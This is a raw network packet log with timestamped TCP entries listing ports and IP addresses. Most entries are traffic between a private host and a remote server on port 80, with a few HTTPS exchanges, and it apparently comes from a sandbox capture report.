Dec 20, 2024 04:12:39.466474056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.466516018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.466593981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.466638088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.467453003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.467575073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.467619896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.468497038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.468540907 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.468679905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.468723059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.469505072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.469547987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.469623089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.469665051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.470593929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.470638990 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.470798969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.470844030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.471664906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.471724033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.471767902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.471816063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.472641945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.472690105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.472764969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.472809076 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.473653078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.473697901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.473721027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.473762989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.474689960 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.474735975 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.474822998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.474865913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.475704908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.475744009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.475766897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.475809097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.476735115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.476778984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.476911068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.476957083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.477757931 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.477801085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.477997065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.478039980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.478914976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.478957891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.479032040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.479074955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.479881048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.479924917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.480144978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.480189085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.480880976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.480921030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.480937958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.480982065 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.481935978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.481996059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.482054949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.482099056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.482929945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.483051062 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.483103991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.483941078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.483983994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.484008074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.484050035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.485002995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.485105038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.485151052 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.486082077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.486124039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.486251116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.486293077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.487181902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.487226009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.487335920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.487397909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.488114119 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.488163948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.488168955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.488200903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.489140987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.489190102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.489223957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.489269018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.490147114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.490190983 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.490248919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.491038084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.491096973 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.491116047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.491153955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.491906881 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.491950989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.491975069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.492036104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.492933989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.493089914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.493149042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.493967056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.494003057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.587729931 CET	443	49855	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:39.587981939 CET	443	49855	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:39.588057995 CET	49855	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:39.588221073 CET	49855	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:39.588246107 CET	443	49855	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:39.588263035 CET	49855	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:39.588268042 CET	443	49855	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:39.632267952 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.632339001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.632385969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.632436037 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.632595062 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.632646084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.632863045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.632911921 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.633040905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.633114100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.633858919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.633912086 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.634021997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.634066105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.634881973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.634938002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.635001898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.635052919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.635932922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.635989904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.635992050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.636027098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.636969090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.637044907 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.637073040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.637124062 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.638026953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.638070107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.638140917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.638340950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.639015913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.639151096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.639189959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.640048027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.640084982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.640152931 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.640187025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.641067028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.641110897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.641187906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.641222000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.642106056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.642178059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.642245054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.642298937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.643150091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.643241882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.643285990 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.644180059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.644227028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.644252062 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.644284964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.645210028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.645339012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.645385981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.646236897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.646312952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.646339893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.646406889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.646406889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.647283077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.647439957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.647484064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.648313999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.648361921 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.648380995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.648417950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.649324894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.649370909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.649432898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.649486065 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.650365114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.650410891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.650463104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.650502920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.651396036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.651437998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.651515007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.651555061 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.652520895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.652580023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.652587891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.652614117 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.653479099 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.653526068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.653598070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.653647900 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.654496908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.654536009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.654603958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.654644012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.655543089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.655584097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.655658960 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.655699015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.656589031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.656722069 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.656730890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.656841993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.657584906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.657640934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.657711029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.657752991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.658612013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.658651114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.658718109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.658756971 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.659636021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.659676075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.659740925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.659776926 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.660666943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.660710096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.660769939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.660806894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.661695957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.661734104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.661813974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.661859035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.662755966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.662847042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.662866116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.662902117 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.663785934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.663826942 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.663851976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.663886070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.664839983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.664881945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.664933920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.664973974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.665849924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.665890932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.666017056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.666059971 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.666879892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.666929960 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.666985989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.667026997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.667896986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.667943001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.667990923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.668031931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.669543028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.669668913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.669678926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.669713974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.669965029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.670006990 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.670063019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.670123100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.671009064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.671055079 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.671130896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.671178102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.672103882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.672153950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.672224998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.672676086 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.673099995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.673156977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.673172951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.673217058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.674101114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.674140930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.674221992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.674261093 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.675144911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.675257921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.675292969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.676181078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.676301003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.676342964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.677222967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.677263021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.677321911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.677362919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.678231001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.678334951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.678359032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.678400993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.679250002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.679290056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.679316044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.679353952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.680301905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.680430889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.680445910 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.680469036 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.681305885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.681355953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.681420088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.681516886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.682353973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.682362080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.682396889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.683176994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.683235884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.683303118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.683758020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.683916092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.683954000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.684112072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.684542894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.684957027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.684998035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.685060024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.685117006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.686002016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.686038017 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.775434017 CET	443	49856	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:39.775533915 CET	443	49856	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:39.775609970 CET	49856	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:39.775716066 CET	49856	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:39.775727034 CET	443	49856	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:39.828685999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.828742981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.828752995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.828816891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.829135895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.829365969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.829411030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.829478025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.829520941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.830425978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.830468893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:39.830554008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:39.830595970 CET	49838	80	192.168.2.4	31.41.244.11
